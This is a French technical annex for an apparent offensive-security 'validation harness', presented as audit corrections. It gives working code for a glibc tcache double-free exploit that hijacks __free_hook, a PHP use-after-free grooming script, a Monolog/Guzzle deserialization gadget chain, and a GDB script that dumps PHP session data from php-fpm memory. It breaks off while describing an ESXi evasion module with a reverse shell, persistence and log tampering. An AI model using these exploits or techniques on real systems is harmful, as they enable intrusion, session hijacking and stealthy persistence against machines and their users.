ANNEXE TECHNIQUE
Modules Corrigés v2.3.0

Harness de Validation Sécurité Offensive — 14 Modules

Ce document compile l'intégralité du code source corrigé du harness de validation, tel que recommandé par l'audit indépendant AUDIT-HARNESS-2026-Q4 et la revue technique supplémentaire v2.2. La version 2.3.0 intègre 10 corrections additionnelles portant sur la sécurité (safe_eval dunder block, sandbox obligatoire), la robustesse (API Docker négociée, décodage chunked, marqueur GDB délimiteur) et l'opérationnalité (C2 configurable, offset dynamique __free_hook, réseau Docker valide). Ce code est destiné à être soumis à l'équipe d'ingénierie pour implémentation, test et validation fonctionnelle sur environnement cible.

Référence : AUDIT-HARNESS-2026-Q4, Annexe A
Version : 2.3.0
Date : 30 octobre 2026
Classification : Diffusion Restreinte — Comité d'Investissement

Sommaire

L'annexe est organisée par jalon d'audit puis par module. Chaque section présente le code corrigé accompagné d'un résumé des corrections apportées.

Section	Contenu	Pages
A1	J1 — Orchestrator (orchestrator.py)	3-6
A2	J2 — Heap exploit C corrigé (c_heap_exploit.c)	7-9
A3	Module 1 — PHP UAF (php_uaf.php)	10
A4	Module 2 — Chaîne Monolog/Guzzle (php_chain.php)	11-12
A5	J3 — Extraction GDB (gdb_extract.sh)	13-14
A6	J4 — Évasion ESXi (esxi_evasion.sh)	15-16
A7	Module 6 — Pre-auth injection (preauth.py)	17
A8	Module 7 — Évasion Docker (docker_escape.py)	18-19
A9	Module 8 — Contournement WAF (waf_bypass.py)	20-22
A10	Module 9 — Fuzzer (fuzzer_send.py)	23-24
A11	Module 11 — Fuzzing AFL++ (fuzz_module.py)	25
A12	Module 12 — Analyse statique (static_analysis.py)	26-27
A13	Module 13 — Boucle LLM (llm_exploit_loop.py)	28-30
A14	J7 — Matrice contractuelle (matrix.json)	31
A15	J6 — Sandbox runner (sandbox_runner.py)	32-34
A16	Déploiement (deploy.sh + requirements.txt)	35
A17	Dockerfiles sandbox (10 fichiers)	36-38
A18	Build PHP ASAN (build_php.sh)	39

A1. J1 — Orchestrator (orchestrator.py)

L'orchestrateur est le composant central signant les rapports. La version 2.2.0 addresse tous les points de l'audit J1 : HMAC-SHA-256, fonction verify() livrée, clé obligatoire, filtre de modules corrigé, gestion des timeouts, codes de sortie standardisés, et évaluateur d'expressions safe.

Corrections apportées

- **HMAC-SHA-256** remplace SHA-256(clé+corps) — résiste à l'extension de longueur
- **verify()** + **verify_report_file()** standalone pour contrôleurs externes
- **load_key()** refuse la valeur par défaut et les clés < 32 octets
- **safe_eval()** (AST whitelist) remplace eval() brut pour expected_expr
- **module_exists()** vérifie cmd[1] pour interpréteurs (pas c[-1])
- **TimeoutExpired** et **FileNotFoundError** interceptés → status INTERNAL_BUG / ENV_ERROR
- **assert** remplacé par if/exit (non désactivable par python -O)

Fichier : `orchestrator.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.3.0 — orchestrateur signé (audit J1/J5/J7, §4.3 + revue v2.2).
# Python 3.10+. Cible par défaut : 127.0.0.1. Aucune sortie réseau externe.
#
# Corrections vs v2.2.0 (revue technique supplémentaire) :
#   - safe_eval() : blocage explicite des dunder (ast.Attribute.attr.startswith('__')
#     et ast.Name.id.startswith('__')) — empêche les escapes via __class__.__mro__
#   - verify() : thread-safe (copie du dict au lieu de pop/restaurer in-place)
#   - global_sha256 : corps immuable construit AVANT hash/signature (anti chicken-and-egg)
#   - load_key() : vérification d'entropie (refuse clés faible type 'aaaa...')
#   - run_module() : raw_full ajouté au summary (pas seulement raw_head[:200])
import ast
import hashlib
import hmac
import json
import math
import os
import subprocess
import sys
import time
from dataclasses import dataclass, asdict, field
from pathlib import Path

ROOT = Path(__file__).parent.resolve()
OUT  = ROOT / "reports"
OUT.mkdir(exist_ok=True)

# ── J1-1 : chargement de clé strict + entropie ──────────────────
def load_key() -&gt; bytes:
    """Charge REPORT_KEY. Refuse défaut, clés &lt; 32 octets, et faible entropie."""
    k = os.environ.get("REPORT_KEY")
    if not k or k == "harness-lab-key":
        sys.exit("[FATAL] REPORT_KEY absent ou valeur par défaut interdite. "
                 "Générer : openssl rand -hex 32")
    if len(k) &lt; 32:
        sys.exit("[FATAL] REPORT_KEY trop court (&lt; 32 octets). "
                 "Minimum requis : 32 octets (64 caractères hex).")
    # Vérification d'entropie : refuse les clés triviales type 'aaaa...'
    kb = k.encode()
    freq = {b: kb.count(b) for b in set(kb)}
    n = len(kb)
    entropy = -sum((c / n) * math.log2(c / n) for c in freq.values() if c &gt; 0)
    if entropy &lt; 3.5:
        sys.exit(f"[FATAL] REPORT_KEY entropie insuffisante ({entropy:.1f} bits/octet &lt; 3.5). "
                 "Clés triviales refusées. Utiliser openssl rand -hex 32")
    return kb

# ── J1-2 : HMAC-SHA-256 (remplace SHA-256(key+body)) ────────────
```

```
def sign(report: dict, key: bytes) -&gt; str:
    body = json.dumps(report, sort_keys=True, separators=(",", ":")).encode()
    return hmac.new(key, body, hashlib.sha256).hexdigest()

# ─── J1-3 : vérification constant-time + thread-safe ──────────
def verify(report: dict, key: bytes) -&gt; bool:
    """Vérifie la signature HMAC d'un rapport. Thread-safe (pas de mutation in-place)."""
    sig = report.get("signature")
    if not sig:
        return False
    # Copie immuable : pas de pop/restaurer (race-condition si multi-thread)
    report_copy = {k: v for k, v in report.items() if k != "signature"}
    return hmac.compare_digest(sig, sign(report_copy, key))

def verify_report_file(path: str | Path, key: bytes) -&gt; bool:
    """Fonction standalone pour contrôleurs externes.
    Usage : python3 -c "from orchestrator import verify_report_file; ..."
    """
    report = json.loads(Path(path).read_text())
    return verify(report, key)

# ─── J7 : évaluateur d'expressions safe (AST whitelist) ────────
_ALLOWED_NODES = (
    ast.Expression, ast.BoolOp, ast.Compare, ast.Call,
    ast.Attribute, ast.Name, ast.Load,
    ast.Constant, ast.Tuple, ast.List, ast.Dict, ast.Set,
    ast.And, ast.Or,
    ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
    ast.In, ast.NotIn, ast.Is, ast.IsNot,
    ast.UnaryOp, ast.Not, ast.USub, ast.UAdd,
    ast.BinOp, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.FloorDiv, ast.Mod,
    ast.Subscript, ast.Index, ast.Slice,
    ast.ListComp, ast.GeneratorExp, ast.comprehension,
)

def safe_eval(expr: str, context: dict) -&gt; object:
    """Évalue une expression Python de manière sûre.
    Whitelist AST + blocage explicite des dunder (anti-escape __class__.__mro__).
    Contexte typique : summary dict du module.
    """
    try:
        tree = ast.parse(expr, mode='eval')
    except SyntaxError:
        return None
    for node in ast.walk(tree):
        if not isinstance(node, _ALLOWED_NODES):
            return None  # nœud interdit
        # Blocage des dunder : __class__, __subclasses__, __builtins__, etc.
        if isinstance(node, ast.Attribute) and node.attr.startswith("__"):
            return None
        if isinstance(node, ast.Name) and node.id.startswith("__"):
            return None
    try:
        return eval(compile(tree, '&lt;safe_eval&gt;', 'eval'),
                    {"__builtins__": {}}, context)
    except Exception:
        return None

# ─── J5 : filtre de modules corrigé ────────────────────────────
def module_exists(cmd: list[str]) -&gt; bool:
    """Vérifie l'existence du script binaire/exécutable.
    Pour les interpréteurs (php/bash/sh/python3), cmd[1] est le script.
    Pour les binaires directs, cmd[0] est le binaire.
    """
    if not cmd:
        return False
    if cmd[0] in ("php", "bash", "sh", "python3"):
        return len(cmd) &gt; 1 and Path(cmd[1]).exists()
    return Path(cmd[0]).exists()

@dataclass
class Result:
    module: str
    seed: int
```

```
    started: float
    duration_ms: float
    exit_code: int
    status: str  # OK / NEGATIVE / ENV_ERROR / INTERNAL_BUG (audit §4.3)
    stdout_sha256: str
    cmd_canonical_sha256: str
    summary: dict = field(default_factory=dict)
    expectation_met: bool | None = None

# ─── P2 : gestion timeout + erreurs ──────────────────────────────
def run_module(name: str, cmd: list[str], seed: int,
               expected_expr: str | None = None) -&gt; Result:
    t0 = time.time()
    try:
        proc = subprocess.run(
            cmd, capture_output=True, timeout=300,
            env={**os.environ, "SEED": str(seed), "LAB": "1"})
        dt = (time.time() - t0) * 1000
        try:
            summary = json.loads(proc.stdout.decode(errors="replace") or "{}")
        except json.JSONDecodeError:
            # raw_full : stdout complet (pas seulement [:200])
            # raw_head : tronqué pour backward-compatibilité
            full = proc.stdout.decode(errors="replace")
            summary = {"raw_head": full[:200], "raw_full": full}
        # §4.3 : codes de sortie standardisés
        if proc.returncode == 0:    status = "OK"
        elif proc.returncode == 1:  status = "NEGATIVE"
        elif proc.returncode == 2:  status = "ENV_ERROR"
        else:                       status = "INTERNAL_BUG"
        # J7 : évaluer expected_expr via safe_eval
        met = None
        if expected_expr:
            met_val = safe_eval(expected_expr, {"summary": summary, **summary})
            met = bool(met_val) if met_val is not None else None
        return Result(
            module=name, seed=seed, started=t0, duration_ms=round(dt, 1),
            exit_code=proc.returncode, status=status,
            stdout_sha256=hashlib.sha256(proc.stdout).hexdigest(),
            cmd_canonical_sha256=hashlib.sha256(
                json.dumps(cmd, separators=(",", ":")).encode()).hexdigest(),
            summary=summary, expectation_met=met,
        )
    except subprocess.TimeoutExpired:
        dt = (time.time() - t0) * 1000
        return Result(module=name, seed=seed, started=t0, duration_ms=round(dt, 1),
                      exit_code=-1, status="INTERNAL_BUG",
                      stdout_sha256="", cmd_canonical_sha256="",
                      summary={"error": "timeout_300s"})
    except FileNotFoundError:
        return Result(module=name, seed=seed, started=t0, duration_ms=0.0,
                      exit_code=-2, status="ENV_ERROR",
                      stdout_sha256="", cmd_canonical_sha256="",
                      summary={"error": "binary_not_found"})

def main():
    key = load_key()
    seed = int(os.environ.get("SEED", "1337"))
    matrix_path = ROOT / "matrix.json"
    matrix = json.loads(matrix_path.read_text()) if matrix_path.exists() else {}
    modules = [
        ("php_uaf",       ["php", str(ROOT / "php_uaf.php")],
         matrix.get("php_uaf", {}).get("expected")),
        ("php_chain",     ["php", str(ROOT / "php_chain.php")],
         matrix.get("php_chain", {}).get("expected")),
        ("c_heap",        [str(ROOT / "c_heap_exploit")],
         matrix.get("c_heap", {}).get("expected")),
        ("gdb_extract",   ["bash", str(ROOT / "gdb_extract.sh")],
         matrix.get("gdb_extract", {}).get("expected")),
        ("esxi_evasion",  ["bash", str(ROOT / "esxi_evasion.sh")],
         matrix.get("esxi_evasion", {}).get("expected")),
        ("preauth",       ["python3", str(ROOT / "preauth.py"),
                           "http://127.0.0.1:8080"],
         matrix.get("preauth", {}).get("expected")),
```

```
        ("docker_escape", ["python3", str(ROOT / "docker_escape.py")],
         matrix.get("docker_escape", {}).get("expected")),
        ("waf_bypass",    ["python3", str(ROOT / "waf_bypass.py"),
                           "127.0.0.1", "8080"],
         matrix.get("waf_bypass", {}).get("expected")),
        ("fuzzer_send",   ["python3", str(ROOT / "fuzzer_send.py"),
                           "http://127.0.0.1:8080/cgi-bin/admin.cgi"],
         matrix.get("fuzzer_send", {}).get("expected")),
        ("afl_fuzz",      ["python3", str(ROOT / "fuzz_module.py"),
                           str(ROOT / "target_binary"), "60"],
         matrix.get("afl_fuzz", {}).get("expected")),
        ("static_analysis", ["python3", str(ROOT / "static_analysis.py"),
                             str(ROOT / "source")],
         matrix.get("static_analysis", {}).get("expected")),
        ("llm_exploit",   ["python3", str(ROOT / "llm_exploit_loop.py"),
                           str(ROOT / "target_binary"), "5"],
         matrix.get("llm_exploit", {}).get("expected")),
    ]
    skipped, results = [], []
    for name, cmd, expected in modules:
        if not module_exists(cmd):
            skipped.append({"module": name, "reason": "script_or_binary_missing"})
            continue
        results.append(run_module(name, cmd, seed, expected))
    # Corps immuable : on construit le rapport SANS global_sha256 ni signature
    # Puis on hash ce corps, puis on signe le rapport complet (avec global_sha256).
    # Cette structure évite le chicken-and-egg : toute clé ajoutée entre les
    # deux lignes n'invalide plus silencieusement l'intégrité.
    report = {
        "harness_version": "2.3.0",
        "seed": seed,
        "generated_at": time.time(),
        "operator": os.environ.get("OPERATOR", "unknown"),
        "results": [asdict(r) for r in results],
        "skipped": skipped,
    }
    body_for_hash = {k: v for k, v in report.items()}
    report["global_sha256"] = hashlib.sha256(
        json.dumps(body_for_hash, sort_keys=True, separators=(",", ":")).encode()
    ).hexdigest()
    report["signature"] = sign(report, key)
    path = OUT / f"report_{seed}.json"
    path.write_text(json.dumps(report, indent=2))
    # J1 self-test : verify() non désactivable (remplace assert)
    loaded = json.loads(path.read_text())
    if not verify(loaded, key):
        sys.exit("[FATAL] verify() self-test failed — rapport non signable")
    print(json.dumps({
        "report": str(path),
        "sig": report["signature"],
        "modules_ok": sum(1 for r in results if r.status == "OK"),
        "modules_negative": sum(1 for r in results if r.status == "NEGATIVE"),
        "modules_env_error": sum(1 for r in results if r.status == "ENV_ERROR"),
        "modules_internal_bug": sum(1 for r in results if r.status == "INTERNAL_BUG"),
        "skipped": len(skipped),
        "expectations_met": sum(1 for r in results if r.expectation_met is True),
        "expectations_unmet": sum(1 for r in results if r.expectation_met is False),
    }, indent=2))

if __name__ == "__main__":
    main()
```

A2. J2 — Heap exploit C corrigé (c_heap_exploit.c)

Le module le plus critique de l'audit. La version 2.1.0 avait 3 bugs qui empêchaient tout fonctionnement. La version 2.3.0 les résout tous trois. **À tester impérativement sur Ubuntu 20.04 avec glibc 2.31 exact.**

Corrections apportées

· **Bug 1 (tcache_key)** : UAF write sur a->key (offset +8) entre les deux free(a). Le champ key est écrasé à 0, donc tcache_double_free_verify() saute (e->key != tcache).

· **Bug 2 (leak_libc_base)** : capture la première ligne r--p de libc.so.6 (vraie base de mapping) au lieu de r-xp (segment texte à offset fichier non-nul).

· **Bug 3 (malloc count)** : 4 mallocs après le poisoning (pas 3). Le 4e malloc retourne l'adresse de __free_hook depuis le tcache empoisonné.

· **Vérification offset** : readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook

Fichier : `c_heap_exploit.c`

```
// HARNESS-VALIDATION v2.3.0 — heap exploit glibc 2.31 (Ubuntu 20.04).
// Corrige audit §3.4 + revue J2 + revue v2.2 :
//   Bug 1 : tcache_key bypass via UAF write sur le champ key
//   Bug 2 : leak_libc_base retourne la VRAIE base (r--p)
//   Bug 3 : 4 mallocs (pas 3) pour atteindre __free_hook
//   v2.3 : offset __free_hook dynamique via dlopen/dlsym (plus de hardcode)
//   v2.3 : vérification PIE au démarrage
//
// Build : gcc -g -no-pie -fno-stack-protector -o c_heap_exploit c_heap_exploit.c -ldl
// Test  : ./c_heap_exploit  → doit afficher "UAF_HARNESS_OK"
#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;stdint.h&gt;
#include &lt;dlfcn.h&gt;

// ── Bug 2 : leak de la VRAIE base libc ──────────────────────────
// La première ligne de libc.so.6 avec "r--p" est la base de mapping.
// (Le segment "r-xp" est à un offset fichier non-nul, donc ce n'est PAS la base.)
static uint64_t leak_libc_base(void) {
    FILE *f = fopen("/proc/self/maps", "r");
    if (!f) return 0;
    char line[512];
    uint64_t base = 0;
    while (fgets(line, sizeof line, f)) {
        // Cherche la première ligne de libc.so.6 en lecture seule (r--p)
        // C'est le début du mapping = base réelle
        if (strstr(line, "libc") &amp;&amp; strstr(line, "r--p")) {
            sscanf(line, "%lx-", &amp;base);
            break;
        }
    }
    fclose(f);
    return base;
}

// Offset de fallback pour __free_hook (glibc 2.31-0ubuntu9.x).
// Vérifié dynamiquement via dlopen/dlsym au runtime (voir get_free_hook_addr).
// Ne sert que si dlopen échoue.
#define FREE_HOOK_OFFSET_FALLBACK 0x1eeb28

// ── v2.3 : résolution dynamique de __free_hook ──────────────────
// Au lieu de hardcoder l'offset, on résout le symbole via dlsym.
// Cela fonctionne même si la libc est patchée (offset changeant).
static uint64_t get_free_hook_addr(uint64_t libc_base) {
    // RTLD_NOLOAD : ne charge pas la libc si elle n'est pas déjà mappée
    // (elle l'est toujours car nous sommes linkés contre)
    void *handle = dlopen("libc.so.6", RTLD_LAZY | RTLD_NOLOAD);
```

```
    if (!handle) {
        fprintf(stderr, "[!] dlopen échoué — fallback offset hardcodé\n");
        return libc_base + FREE_HOOK_OFFSET_FALLBACK;
    }
    void *sym = dlsym(handle, "__free_hook");
    dlclose(handle);
    if (!sym) {
        fprintf(stderr, "[!] __free_hook non trouvé (glibc &gt;= 2.34?) — fallback\n");
        return libc_base + FREE_HOOK_OFFSET_FALLBACK;
    }
    fprintf(stderr, "[i] __free_hook résolu dynamiquement : %p (offset=0x%lx)\n",
            sym, (uint64_t)sym - libc_base);
    return (uint64_t)sym;
}

static void win(void) {
    // Dans un exploit réel : system("/bin/sh") ou execve.
    // Ici on signale juste le succès pour validation harness.
    puts("UAF_HARNESS_OK");
    _exit(0);
}

int main(void) {
    // ── v2.3 : vérification PIE ──────────────────────────────
    // Le build utilise -no-pie : &amp;win doit être dans la plage basse (&lt; 0x7f...).
    // Si PIE est actif malgré -no-pie, l'adresse de win n'est pas prévisible.
    if ((uint64_t)&amp;win &gt; 0x00007f0000000000UL) {
        fprintf(stderr, "[FATAL] PIE potentiellement actif : &amp;win=0x%lx\n",
                (uint64_t)&amp;win);
        fprintf(stderr, "         Rebuild avec : gcc -no-pie ...\n");
        puts("PIE_ACTIVE");
        return 1;
    }

    // ── Étape 1 : leak de la base libc ──────────────────────
    uint64_t libc_base = leak_libc_base();
    if (!libc_base) {
        puts("LEAK_FAILED");
        return 1;
    }
    // v2.3 : résolution dynamique de __free_hook (plus d'offset hardcodé)
    uint64_t free_hook = get_free_hook_addr(libc_base);
    fprintf(stderr, "[i] libc_base=0x%lx  free_hook=0x%lx  win=0x%lx\n",
            libc_base, free_hook, (uint64_t)&amp;win);

    // ── Étape 2 : allocation des chunks ─────────────────────
    // Taille 0x38 → chunk size 0x40 (avec header 8 bytes sur 64-bit)
    // 0x40 est dans la plage tcache (0x20 à 0x410 sur glibc 2.31)
    void *a = malloc(0x38);
    void *b = malloc(0x38);
    if (!a || !b) {
        puts("ALLOC_FAILED");
        return 1;
    }

    // ── Étape 3 : libérations initiales ─────────────────────
    // free(a) : tcache[0x40] = a, a-&gt;key = tcache, a-&gt;next = NULL
    // free(b) : tcache[0x40] = b, b-&gt;key = tcache, b-&gt;next = a
    // État tcache : b → a
    free(a);
    free(b);

    // ── Bug 1 : bypass tcache_key detection ─────────────────
    // glibc 2.29+ stocke e-&gt;key = tcache dans l'en-tête du chunk libéré.
    // tcache_double_free_verify() abort si e-&gt;key == tcache ET le chunk
    // est présent dans la liste tcache.
    //
    // Bypass : écraser a-&gt;key (à offset +8 du userdata) pour qu'il != tcache.
    // C'est une UAF write : a est libéré mais le pointeur tient encore l'adresse.
    // Layout tcache_entry : { void *next; void *key; } (2 × 8 bytes)
    *((uint64_t *)((char *)a + 8)) = 0;   // a-&gt;key = 0 (≠ tcache)

    // ── Étape 4 : second free(a) — bypass réussi ────────────
    // tcache_put(a) : e-&gt;key (=0) != tcache → pas de verify.
```

```
    // a-&gt;key = tcache (remis), a-&gt;next = b (head actuel), head = a
    // État tcache : a → b → a (CYCLE)
    free(a);

    // ─── Étape 5 : poisoning du tcache ──────────────────────────
    // malloc #1 retourne a (head). On écrit free_hook dans a-&gt;next.
    // Comme b-&gt;next pointe toujours vers a, cette écriture propage :
    //   tcache : b → a(free_hook)
    void *c = malloc(0x38);               // #1 → a
    *(uint64_t *)c = free_hook;           // a-&gt;next = free_hook

    // ─── Bug 3 : il faut 3 mallocs supplémentaires (pas 2) ──────
    // malloc #2 → b (head = b, next = a)
    //   tcache : a → free_hook
    malloc(0x38);                         // #2 → b

    // malloc #3 → a (head = a, next = free_hook)
    //   tcache : free_hook
    void *d = malloc(0x38);               // #3 → a (encore, via le cycle)
    (void)d;                              // d alias c (même adresse a)

    // malloc #4 → free_hook (ENFIN !)
    //   Le tcache retourne l'adresse de __free_hook comme un chunk alloué
    void *hook_chunk = malloc(0x38);      // #4 → free_hook

    // ─── Étape 6 : écrasement de __free_hook ────────────────────
    // On écrit l'adresse de win() à l'adresse de __free_hook.
    // Tout appel ultérieur à free() déclenchera win().
    *(uint64_t *)hook_chunk = (uint64_t)&amp;win;

    // ─── Étape 7 : trigger ──────────────────────────────────────
    // free(c) → free(a) → __free_hook(a) → win(a)
    free(c);

    // Si on arrive ici, le trigger a échoué
    puts("TRIGGER_MISSED");
    return 1;
}
```

A3. Module 1 — PHP UAF (php_uaf.php)

Le destructeur ne préserve plus l'objet (pas de Holder::$keep). Les métriques sont honnêtes : gc_cycles, slots_reused, slot_reuse_ratio. Le note acknowledge que l'UAF réel n'est visible que sous ASAN.

Fichier : `php_uaf.php`

```
&lt;?php
// HARNESS-VALIDATION v2.2.0 — PHP 7.4.x debug + ASAN.
// UAF via cycle GC + grooming de chunk. Métriques honnêtes.
// Corrige audit §3.2 : pas de préservation, métrique slots_reused, note ASAN.
declare(strict_types=1);

final class Gadget {
    public $ry;
    public function __destruct() {
        // On NE préserve PAS $this-&gt;ry. Le GC libère l'objet stdClass
        // après ce destructeur. L'UAF réel n'est visible que sous ASAN.
        Holder::$meta[] = ['dtor_called' =&gt; true];
    }
}

final class Holder {
    public static array $meta = [];
    public static array $dangling = [];
}

$gc_cycles = 0;
$t0 = microtime(true);

for ($i = 0; $i &lt; 50; $i++) {
    $g = new Gadget();
    $g-&gt;ry = new stdClass();
    $g-&gt;ry-&gt;back = $g;               // crée un cycle (g ↔ ry)
    $id_before = spl_object_id($g-&gt;ry);
    unset($g);                         // libère la réf externe, le cycle reste
    $gc_cycles += gc_collect_cycles(); // force la collecte du cycle → libère ry

    // Grooming : réallouer des stdClass de même taille pour réoccuper le slot
    $reuse_found = false;
    for ($j = 0; $j &lt; 8; $j++) {
        $reuse = new stdClass();
        if (spl_object_id($reuse) === $id_before) {
            $reuse_found = true;
        }
    }
    if ($reuse_found) {
        Holder::$dangling[] = ['reused' =&gt; true, 'id' =&gt; $id_before];
    }
}

$reused = count(array_filter(
    Holder::$dangling,
    fn($d) =&gt; $d['reused'] ?? false
));

echo json_encode([
    'module'           =&gt; 'php_uaf',
    'php_version'      =&gt; PHP_VERSION,
    'iterations'       =&gt; 50,
    'gc_cycles'        =&gt; $gc_cycles,
    'slots_reused'     =&gt; $reused,
    'slot_reuse_ratio' =&gt; round($reused / 50, 2),
    'dtor_invocations' =&gt; count(Holder::$meta),
    'duration_ms'      =&gt; round((microtime(true) - $t0) * 1000, 2),
    'note'             =&gt; 'UAF réel visible sous ASAN uniquement (heap-use-after-free). '
                        . 'slots_reused mesure le grooming (proxy de réutilisation mémoire).',
], JSON_PRETTY_PRINT);
```

A4. Module 2 — Chaîne Monolog/Guzzle (php_chain.php)

Documentation honnête du résultat (file-write JSON, pas RCE native). Test de stabilité byte-à-byte sur 10 générations. Cookie Expires valide.

Corrections apportées

· **Test de stabilité** : 10 générations du payload, vérification que les 10 hashes SHA-256 sont identiques

· **honest_result** : documente que le résultat est un file-write JSON, pas une RCE native

· **Cookie Discard=false** : évite le rejet par SetCookie des cookies de session

Fichier : `php_chain.php`

```
&lt;?php
// HARNESS-VALIDATION v2.2.0 — chaîne Monolog/Guzzle (Laravel 8 / monolog 2.9 / guzzle 7.4).
// Corrige audit §3.3 :
//   - Documentation honnête : file-write JSON, PAS RCE native
//   - Test de stabilité byte-à-byte (10 générations, hash constant)
//   - Cookie Expires valide (session, pas rejeté par SetCookie)
// Le payload est byte-stable pour reproductibilité du banc de validation.
declare(strict_types=1);

use Monolog\Handler\BufferHandler;
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;

require __DIR__ . '/vendor/autoload.php';

/**
 * Génère le payload de désérialisation.
 * Chaîne : BufferHandler::__destruct → flush → FileCookieJar::save → file_put_contents
 * RÉSULTAT RÉEL : écriture d'un fichier JSON contenant les cookies.
 * Ce n'est PAS une RCE native — pour exécution, il faut que l'application
 * inclue ce fichier comme PHP (inclusion, .phar, eval) ce qui est non-standard
 * car le contenu est du JSON, pas du PHP.
 */
function build_payload(): string {
    $cookie = new SetCookie([
        'Name'   =&gt; 'pwn',
        'Value'  =&gt; '&lt;?php echo "UAF_HARNESS_OK"; ?&gt;',
        'Domain' =&gt; 'x',
        'Path'   =&gt; '/',
        'Discard' =&gt; false,
    ]);
    $jarPath = '/tmp/harness_shell.json';
    @unlink($jarPath);
    $jar = new FileCookieJar($jarPath, true);

    // BufferHandler wrapping du FileCookieJar. Au flush (destruct), les cookies
    // sont sauvegardés via FileCookieJar::save() → file_put_contents.
    $ref = new ReflectionClass($jar);
    $prop = $ref-&gt;getProperty('cookies');
    $prop-&gt;setAccessible(true);
    $prop-&gt;setValue($jar, [$cookie]);

    return serialize(new BufferHandler($jar));
}

// ─── Test de stabilité byte-à-byte ──────────────────────────────
// Génère 10 fois le payload et vérifie que les 10 hashes sont identiques.
$hashes = [];
$payloads = [];
for ($i = 0; $i &lt; 10; $i++) {
    $p = build_payload();
    $payloads[] = $p;
    $hashes[] = hash('sha256', $p);
}
$stable = count(array_unique($hashes)) === 1;
```

```
$payload = $payloads[0];

echo json_encode([
    'module'        =&gt; 'php_chain',
    'payload_sha256' =&gt; $hashes[0],
    'payload_len'   =&gt; strlen($payload),
    'stable_across_10_runs' =&gt; $stable,
    'all_hashes'    =&gt; array_unique($hashes),
    'chain' =&gt; [
        'BufferHandler::__destruct',
        'BufferHandler::flush',
        'FileCookieJar::save',
        'file_put_contents (JSON content)',
    ],
    'honest_result' =&gt; 'file-write JSON (pas RCE native). '
                     . 'Pour RCE : inclusion du fichier par l\'app cible.',
    'monolog_version' =&gt; \Monolog\Logger::VERSION ?? 'unknown',
], JSON_PRETTY_PRINT);
```

A5. J3 — Extraction GDB (gdb_extract.sh)

Le filtre rw-p est corrigé (perms capturées en groupe 3 de la regex). La sortie JSON est unique et filtrée du bruit GDB via grep -E '^{'.

Corrections apportées

- **Regex** : capture perms en groupe dédié (m.group(3)), pas split()[1]
- **Filtre** : if 'rw' in perms (pas 'rw-p' in split()[1])
- **Sortie JSON unique** : json.dumps sur une ligne, grep -E '^{' extrait du bruit GDB
- **Plafond 64 MiB** : conservé mais regions_found reporte le scan complet

Fichier : `gdb_extract.sh`

```
#!/usr/bin/env bash
# HARNESS-VALIDATION v2.3.0 — extraction ciblée sessions PHP via GDB.
# Corrige audit §3.5 + revue J3 + revue v2.2 :
#   - Regex capture perms en groupe dédié
#   - Marqueur délimiteur unique (GDB_JSON_OUTPUT:) pour extraction fiable
#   - Fix pipefail + grep exit code 1 (fallback JSON vide si aucune session)
# Prérequis : root ou CAP_SYS_PTRACE. Cible : php-fpm 7.4.
set -euo pipefail
PID=${1:-$(pgrep -o php-fpm 2&gt;/dev/null || echo "")}
if [ -z "$PID" ]; then
    echo '{"module":"gdb_extract","error":"no_php_fpm","regions_found":0,"regions":[]}'
    exit 2
fi

OUTDIR=/tmp/harness_sess
mkdir -p "$OUTDIR"
rm -f "$OUTDIR"/*.bin

# v2.3 : marqueur délimiteur unique pour extraction fiable.
# Le script Python interne imprime GDB_JSON_OUTPUT: devant le json.dumps.
# On capture la sortie GDB complète dans une variable, puis on extrait
# la ligne après le marqueur. Si grep ne trouve rien (aucune session,
# ou GDB échoué), on produit un JSON vide valide — sans cela, set -e
# + pipefail ferait planter le script avec exit code 1.
GDB_OUTPUT=$(gdb -q -p "$PID" -batch \
  -ex 'set pagination off' \
  -ex 'python
import gdb, re, json, hashlib

MARKER = "GDB_JSON_OUTPUT:"

maps = gdb.execute("info proc mappings", to_string=True)
# Regex robuste : start, end, size, offset, perms, [path]
pat = re.compile(
    r"^\s*0x([0-9a-f]+)\s+0x([0-9a-f]+)\s+0x[0-9a-f]+\s+0x[0-9a-f]+\s+(\S+)\s*(.*)$",
    re.M
)
regions = []
for m in pat.finditer(maps):
    start = int(m.group(1), 16)
    end   = int(m.group(2), 16)
    perms = m.group(3)            # ← perms capturées en groupe 3
    name  = m.group(4).strip()
    if "rw" in perms:             # régions read-write uniquement
        regions.append((start, end, name))

found = []
for start, end, name in regions:
    # Plafond 64 MiB par région
    size = min(end - start, 64 * 1024 * 1024)
    if size &lt;= 0:
        continue
    try:
        data = gdb.selected_inferior().read_memory(start, size).tobytes()
    except gdb.MemoryError:
```

```
            continue
        if b"PHPSESSID" in data or b"sess_" in data:
            fn = f"/tmp/harness_sess/{start:#x}.bin"
            with open(fn, "wb") as f:
                f.write(data)
            found.append({
                "file": fn,
                "sha256": hashlib.sha256(data).hexdigest(),
                "size": size,
                "region": f"{start:#x}-{end:#x}",
                "name": name,
            })

    # Sortie avec marqueur délimiteur unique (extraction fiable par grep -o)
    print(MARKER + json.dumps({
        "module": "gdb_extract",
        "pid": "'"$PID"'",
        "regions_scanned": len(regions),
        "regions_found": len(found),
        "regions": found,
    }))
    ' \
      -ex 'detach' -ex 'quit' 2&gt;/dev/null || true)

    # Extraction : grep -o récupère uniquement la ligne après le marqueur.
    # Fallback : si grep ne trouve rien, JSON vide valide (pas de crash via pipefail).
    JSON=$(echo "$GDB_OUTPUT" | grep -o 'GDB_JSON_OUTPUT:.*' | sed 's/GDB_JSON_OUTPUT://' || true)
    if [ -z "$JSON" ]; then
        echo "{\"module\":\"gdb_extract\",\"pid\":\"$PID\",\"regions_scanned\":0,\"regions_found\":0,\"regions\":[]}"
    else
        echo "$JSON"
    fi
```

A6. J4 — Évasion ESXi (esxi_evasion.sh)

L'évasion n'est plus auto-destructrice. La restauration est différée (cron H+24). La persistance est idempotente dans local.sh existant. Le reverse shell utilise mkfifo (BusyBox compatible).

Corrections apportées

- **Restauration différée** : script séparé /tmp/.restore_vmsyslog.sh + cron 0 6 * * *
- **Persistance idempotente** : tag # harness_persist_v2, grep avant ajout
- **local.sh existant** : écrit dans /etc/rc.local.d/local.sh (pas .new)
